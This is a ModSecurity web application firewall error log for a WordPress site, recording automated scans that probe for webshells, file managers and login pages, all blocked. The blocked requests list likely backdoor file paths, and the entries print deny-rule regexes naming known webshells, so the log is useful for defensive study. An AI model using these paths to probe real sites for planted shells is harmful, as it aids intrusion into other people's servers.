[Fri Feb 27 08:12:00.011062 2026] [:error] [pid 3973:tid 4004] [client 54.38.38.130:49142] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aaDhUIJZsftwqmUaaLMHKAAAABU"]
[Fri Feb 27 08:12:02.520600 2026] [:error] [pid 42658:tid 42684] [client 54.38.38.130:49144] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aaDhUozcoYl3nRbu1ja3_QAAAhg"]
[Fri Feb 27 08:12:02.761024 2026] [:error] [pid 42658:tid 42676] [client 54.38.38.130:49152] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaDhUozcoYl3nRbu1ja3_gAAAhA"]
[Fri Feb 27 08:12:05.103517 2026] [:error] [pid 42658:tid 42679] [client 54.38.38.130:49156] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaDhVYzcoYl3nRbu1ja4CgAAAhM"]
[Fri Feb 27 08:12:06.248315 2026] [:error] [pid 42658:tid 42660] [client 54.38.38.130:49172] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaDhVozcoYl3nRbu1ja4FQAAAgA"]
[Fri Feb 27 08:12:07.883056 2026] [:error] [pid 21329:tid 21402] [client 54.38.38.130:52452] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaDhV5vQWnde-MjcQ1F8kAAAAVM"]
[Fri Feb 27 08:12:09.511346 2026] [:error] [pid 42563:tid 42583] [client 54.38.38.130:52464] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaDhWXKL5BclZy73IRH95QAAAc0"]
[Fri Feb 27 08:12:10.258570 2026] [:error] [pid 21329:tid 21399] [client 54.38.38.130:52468] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaDhWpvQWnde-MjcQ1F8lAAAAVA"]
[Fri Feb 27 08:27:37.777070 2026] [:error] [pid 56075:tid 56080] [client 20.43.27.35:59148] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaDk-cKBhrfI6KNv9RgEUwAAAAM"]
[Fri Feb 27 08:27:38.602855 2026] [:error] [pid 56075:tid 56086] [client 20.43.27.35:59167] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaDk-sKBhrfI6KNv9RgEWwAAAAk"]
[Fri Feb 27 08:27:39.447237 2026] [:error] [pid 54102:tid 54145] [client 20.43.27.35:23656] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaDk-3i74D4fiYUm_GfOQQAAAIE"]
[Fri Feb 27 08:27:40.278493 2026] [:error] [pid 56075:tid 56079] [client 20.43.27.35:23667] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaDk_MKBhrfI6KNv9RgEZgAAAAI"]
[Fri Feb 27 09:49:17.037507 2026] [:error] [pid 62998:tid 63016] [client 49.233.45.47:50766] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaD4HVQeueXZDUmoLonzFgAAAQ4"]
[Fri Feb 27 10:46:00.284541 2026] [:error] [pid 62998:tid 63002] [client 20.205.227.70:7184] [client 20.205.227.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-editor.php"] [unique_id "aaEFaFQeueXZDUmoLokg8AAAAQE"]
[Fri Feb 27 10:46:00.635565 2026] [:error] [pid 62998:tid 63015] [client 20.205.227.70:12179] [client 20.205.227.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-editor.php"] [unique_id "aaEFaFQeueXZDUmoLokg8wAAAQ0"]
[Fri Feb 27 10:46:01.005043 2026] [:error] [pid 62998:tid 63005] [client 20.205.227.70:7704] [client 20.205.227.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-editor.php"] [unique_id "aaEFaVQeueXZDUmoLokg9wAAAQM"]
[Fri Feb 27 10:46:01.388851 2026] [:error] [pid 62998:tid 63023] [client 20.205.227.70:4266] [client 20.205.227.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-editor.php"] [unique_id "aaEFaVQeueXZDUmoLokg-gAAARU"]
[Fri Feb 27 11:03:02.656966 2026] [:error] [pid 54103:tid 54180] [client 64.64.108.42:50159] [client 64.64.108.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aaEJZuvG4MPCmE0B2sAXNAAAAMk"]
[Fri Feb 27 11:03:03.668757 2026] [:error] [pid 54101:tid 54111] [client 64.64.108.28:22435] [client 64.64.108.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aaEJZ1Y5qgRktcYTGFvSTAAAAcM"]
[Fri Feb 27 11:03:04.797539 2026] [:error] [pid 54102:tid 54162] [client 64.64.108.36:58791] [client 64.64.108.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aaEJaHi74D4fiYUm_Gfz9gAAAJI"]
[Fri Feb 27 11:03:06.350007 2026] [:error] [pid 62998:tid 63008] [client 64.64.108.55:29975] [client 64.64.108.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaEJalQeueXZDUmoLok0VgAAAQY"]
[Fri Feb 27 11:03:07.389835 2026] [:error] [pid 54102:tid 54162] [client 64.64.108.44:61601] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aaEJa3i74D4fiYUm_Gf0HwAAAJI"]
[Fri Feb 27 11:03:14.041135 2026] [:error] [pid 56075:tid 56079] [client 64.64.108.16:30181] [client 64.64.108.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaEJcsKBhrfI6KNv9RhtwAAAAAI"]
[Fri Feb 27 11:03:15.172529 2026] [:error] [pid 49306:tid 49330] [client 64.64.108.51:46499] [client 64.64.108.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaEJc_nSUDZue59Px9tOlAAAAVY"]
[Fri Feb 27 11:03:33.552163 2026] [:error] [pid 49306:tid 49310] [client 64.64.108.57:22495] [client 64.64.108.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.57, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaEJhfnSUDZue59Px9tPmQAAAUI"]
[Fri Feb 27 11:03:35.589163 2026] [:error] [pid 49306:tid 49320] [client 64.64.108.57:22495] [client 64.64.108.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aaEJh_nSUDZue59Px9tPtwAAAUw"]
[Fri Feb 27 11:03:56.235545 2026] [:error] [pid 56075:tid 56095] [client 64.64.108.63:26453] [client 64.64.108.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aaEJnMKBhrfI6KNv9RhvzgAAABE"]
[Fri Feb 27 11:04:21.643140 2026] [:error] [pid 54231:tid 54258] [client 64.64.108.21:32531] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaEJteTvb5AeyJCdY7BfjgAAAFg"]
[Fri Feb 27 11:04:22.596096 2026] [:error] [pid 56075:tid 56096] [client 64.64.108.16:48847] [client 64.64.108.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.64.108.16, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaEJtsKBhrfI6KNv9Rhw2QAAABI"]
[Fri Feb 27 11:04:24.039830 2026] [:error] [pid 56075:tid 56080] [client 64.64.108.16:48847] [client 64.64.108.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaEJuMKBhrfI6KNv9Rhw7QAAAAM"]
[Fri Feb 27 11:04:29.133265 2026] [:error] [pid 54101:tid 54108] [client 64.64.108.30:53675] [client 64.64.108.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaEJvVY5qgRktcYTGFvUtAAAAcA"]
[Fri Feb 27 11:04:39.848630 2026] [:error] [pid 62998:tid 63015] [client 64.64.108.59:41027] [client 64.64.108.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaEJx1QeueXZDUmoLok53gAAAQ0"]
[Fri Feb 27 11:04:40.874674 2026] [:error] [pid 49306:tid 49326] [client 64.64.108.15:25311] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaEJyPnSUDZue59Px9tSJQAAAVI"]
[Fri Feb 27 11:04:41.782510 2026] [:error] [pid 56075:tid 56079] [client 64.64.108.34:59925] [client 64.64.108.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaEJycKBhrfI6KNv9RhxpAAAAAI"]
[Fri Feb 27 11:04:42.881832 2026] [:error] [pid 54103:tid 54178] [client 64.64.108.15:32433] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaEJyuvG4MPCmE0B2sAafQAAAMc"]
[Fri Feb 27 11:04:45.475892 2026] [:error] [pid 56075:tid 56091] [client 64.64.108.46:39793] [client 64.64.108.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.46, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aaEJzcKBhrfI6KNv9RhxyAAAAA0"]
[Fri Feb 27 11:04:53.051681 2026] [:error] [pid 56075:tid 56077] [client 64.64.108.46:39793] [client 64.64.108.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaEJ1cKBhrfI6KNv9RhyLgAAAAA"]
[Fri Feb 27 11:04:55.639843 2026] [:error] [pid 54103:tid 54186] [client 64.64.108.21:38495] [client 64.64.108.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.21, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaEJ1-vG4MPCmE0B2sAbCAAAAM8"]
[Fri Feb 27 11:04:59.849464 2026] [:error] [pid 54103:tid 54179] [client 64.64.108.21:38495] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aaEJ2-vG4MPCmE0B2sAbOgAAAMg"]
[Fri Feb 27 11:05:01.293050 2026] [:error] [pid 54231:tid 54244] [client 64.64.108.44:27477] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aaEJ3eTvb5AeyJCdY7BhCQAAAEo"]
[Fri Feb 27 11:05:09.954467 2026] [:error] [pid 54101:tid 54118] [client 64.64.108.37:44815] [client 64.64.108.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aaEJ5VY5qgRktcYTGFvWAQAAAco"]
[Fri Feb 27 11:05:12.547545 2026] [:error] [pid 54101:tid 54123] [client 64.64.108.49:62875] [client 64.64.108.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaEJ6FY5qgRktcYTGFvWHQAAAc8"]
[Fri Feb 27 11:05:15.451209 2026] [:error] [pid 54231:tid 54251] [client 64.64.108.47:39255] [client 64.64.108.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aaEJ6-Tvb5AeyJCdY7Bh3gAAAFE"]
[Fri Feb 27 11:05:17.041236 2026] [:error] [pid 54102:tid 54151] [client 64.64.108.39:22439] [client 64.64.108.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaEJ7Xi74D4fiYUm_Gf5OQAAAIc"]
[Fri Feb 27 11:05:20.741351 2026] [:error] [pid 54231:tid 54257] [client 64.64.108.65:44147] [client 64.64.108.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aaEJ8OTvb5AeyJCdY7BiKAAAAFc"]
[Fri Feb 27 11:05:21.987581 2026] [:error] [pid 54231:tid 54243] [client 64.64.108.28:25443] [client 64.64.108.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaEJ8eTvb5AeyJCdY7BiNQAAAEk"]
[Fri Feb 27 11:05:22.984802 2026] [:error] [pid 54101:tid 54109] [client 64.64.108.45:55975] [client 64.64.108.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.45, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aaEJ8lY5qgRktcYTGFvWpAAAAcE"]
[Fri Feb 27 11:05:24.549510 2026] [:error] [pid 54101:tid 54129] [client 64.64.108.45:55975] [client 64.64.108.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aaEJ9FY5qgRktcYTGFvWuQAAAdU"]
[Fri Feb 27 11:05:28.863770 2026] [:error] [pid 56075:tid 56093] [client 64.64.108.24:61335] [client 64.64.108.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aaEJ-MKBhrfI6KNv9RhzlAAAAA8"]
[Fri Feb 27 11:05:30.940107 2026] [:error] [pid 62998:tid 63012] [client 64.64.108.16:58655] [client 64.64.108.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aaEJ-lQeueXZDUmoLok9AAAAAQo"]
[Fri Feb 27 11:05:32.948654 2026] [:error] [pid 49306:tid 49327] [client 64.64.108.26:38331] [client 64.64.108.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aaEJ_PnSUDZue59Px9tUNwAAAVM"]
